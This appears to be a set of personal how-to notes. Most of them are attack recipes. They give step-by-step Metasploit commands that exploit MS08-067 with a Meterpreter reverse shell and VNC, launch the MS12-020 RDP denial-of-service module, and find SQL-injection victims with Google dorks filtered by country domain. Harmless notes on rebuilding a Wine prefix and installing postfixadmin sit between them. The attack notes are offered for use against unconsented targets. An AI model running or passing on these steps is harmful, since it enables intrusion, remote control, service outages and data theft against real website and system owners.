ms08_067_netapi metasploit module - quick note

1. use windows/smb/ms08_067_netapi

2. set payload windows/meterpreter/reverse_tcp

3. show options

4. show target

5. set target 4

6. show target

7. set RHOST 192.168.169.145

8. set LHOST 192.168.169.132

9. show options

10. check

11. exploit

ms12_020_maxchannelids metasploit module - quick note

1. use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

2. set RHOST 192.168.169.145

3. run

ms08_067_netapi metasploit module - quick note

1. use windows/smb/ms08_067_netapi

2. set payload windows/meterpreter/reverse_tcp

3. show options

4. show target

5. set target 4

6. show target

7. set RHOST 192.168.169.145

8. set LHOST 192.168.169.132

9. show options

10. meterpreter> run vnc  

and you will got your vnc…  ;)

Wine rebuild

This method if we failed and wanna rebuild wine from beginning,

1. Run winetricks
2. Choice "Select the default wineprefix"
3. Choice "Delete ALL DATA AND APPLICATIONS INSIDE THIS WINEPREFIX"
4. When it finish. Run winecfg
5. You can choice Windows Version you like. Such as XP or 7
6. Then run winetricks again
7. Choice "Select the default wineprefix"
8. Choice "Install a Windows DLL or component"
9. You can install necessary windows component, such as dotnet, jet40, mdac28, and others 

postfixadmin on ubuntu

1. download postfix admin from http://postfixadmin.sourceforge.net/

2. install all necessary packages,

sudo apt-get install postfix postfix-mysql dovecot-postfix mysql-server apache2 php5 php5-mysql php5-imap

3. on "Postfix Configuration" wizard, please choice "Internet Site"

4. put your system mail name on next "Postfix Configuration" wizard

SQL Injection using HVIJ

1. find your target using Google Dorks. Here's all the Google Dorks list,

http://pastebin.com/0FqmasC7

2. pick one of your prefer Google Dorks and start searching using all those query with, 'inurl:' at beginning of your queries.

ex,

inurl:read.php?id=

you can combine like this for looking specific domain,

inurl:prod_detail.php?id= site:.mn

SQL Injection using SQLMAP

1. still use Google dorks for finding the targets

http://pastebin.com/86tBDdxv

2. use Google dorks like this,

ex,

inurl:prod_detail.php?id=

you can combine like this for looking specific domain,

inurl:prod_detail.php?id= site:.mn